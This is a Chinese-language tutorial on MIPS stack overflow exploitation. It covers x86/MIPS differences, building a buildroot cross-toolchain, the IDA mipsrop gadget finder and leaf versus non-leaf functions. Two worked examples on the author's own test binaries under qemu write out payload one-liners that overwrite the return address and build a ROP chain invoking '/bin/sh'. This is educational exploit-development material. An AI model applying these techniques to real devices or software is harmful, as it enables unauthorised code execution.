x86和MIPS指令集的差异
1、MIPS指令系统大量使用寄存器,包括返回地址也是存放在ra寄存器中的
2、没有堆栈直接操作的指令,也就是就没有push 和pop 指令
3、所有指令都是32位编码,也就是说所有的数据和指令都是4字节对齐
由于MIPS固定指令长度,造成其编译后的二进制文件和内存占用空间比x86的要大
MIPS指令集使用uclibc C标准库,x86使用libc的C标准库
MIPS的指令用法和两者的差异可以参考这里
搭建MIPS编译环境
buidRoot下载
将buildroot解压后,我们的第一步是创建默认配置,buildroot为了方便用户使用,提前配置好了很多平台的配置,在configs文件夹里;
因为我们的目标平台是mips32,所以找到qemu_mips32r2el_malta_defconfig
这个配置,下面有一个差不多的qemu_mips32r2_malta_defconfig
,区别是多了个el,”el”是小端的意思 ,这里我们选择小端。
回到根目录:执行make qemu_mips32r2el_malta_defconfig
在终端输入make menuconfig
进一步配置,输入后会出现如下界面
Target option: 选择目标平台,大端小端等等;
进入Target option可以看到这些配置都被选好了,原因是之前执行了make qemu_mips32r2el_malta_defconfig
已经先选好了,如果没有先执行了配置文件就需要进入这里配置
其它的都不用碰他,当然如果你想探索一下也可以的
配置好了之后,出来make即可,等个5-6个小时就行了
IDA mipsrop插件
是一个用来找mips汇编gadget的工具
https://github.com/devttys0/ida/blob/master/plugins/mipsrop/mipsrop.py
直接放到plugins下就行了 IDA7.0也可以用
主要的几个用法:
1 | mipsrop.stackfinder() 寻找栈数据可控的 rop,建立 和a0、a1 寄存器的关系 |
前置知识 – 叶子函数和非叶子函数
叶子函数和非叶子函数是两个非常重要的概念,两者的一些特性造成了对栈溢出利用方法的差异;在某个函数中,如果这个函数不调用其它函数,那么就称这个函数为叶子函数,反之,为非叶子函数,好理解吧。
举个例子:
main 为叶子函数,因为main中没有调用其它函数
1 | int main(){ |
main 为非叶子函数,因为main中调用了printf函数
1 | int main(){ |
叶子函数的返回地址是直接放在ra寄存器中的,而非叶子函数需要调用另外的函数,这里的差异就导致非叶子函数需要把当前的返回地址暂时存放在栈上
1、非叶子函数中,有sw $ra,xxx
的操作,在函数退出时,会将存放在栈上的原来存放在ra寄存器中的值 重新赋值给ra寄存器中
2、叶子函数中,就没有sw $ra,xxx
操作
一个简单的栈溢出
1 |
|
利用buildroot中的mipsel-linux-gcc
编译程序
动态分析
1 | 窗口1:qemu-mipsel -g 1234 ./test `cyclic 100` |
运行,程序 crash 后通过cyclic -l
得到溢出长度为28
这里因为main函数是一个非叶子函数所以我们可以直接覆盖栈上main的返回地址为vuln函数从而get shell
1 | qemu-mipsel ./test `python -c "print 'a'*28+'\x70\x03\x40\x00'"` |
rop chain的利用
举另一个例子:
1 |
|
溢出还是在main函数,且main是一个非叶子函数,所以可以通过溢出控制程序流
但是我们需要控制 dy_system_0函数的第二个参数(在a1寄存器中),所以我们就需要找到将栈上的内容赋值给a1寄存器的汇编语句,可以直接使用mipsrop.stackfinder()命令找找看
1 | Python>mipsrop.stackfinder() |
addiu $a1,$sp,0x58+var_40
== addiu $a1,$sp,24
,所以只需要在sp+0x24
的位置放上字符串’/bin/sh\x00’,再调用do_system_0就行了
同样gdb attach上,动态确定字符串的位置
1 | pwndbg> p/x $sp+0x24 |
payload :
1 | python -c "print 'a'*0x19c + '\xb0\x34\x40\x00' + 0x18*'b' + '/bin/sh\x00' + 'c'*0x34 + '\x70\x03\x40\x00'" > passwd |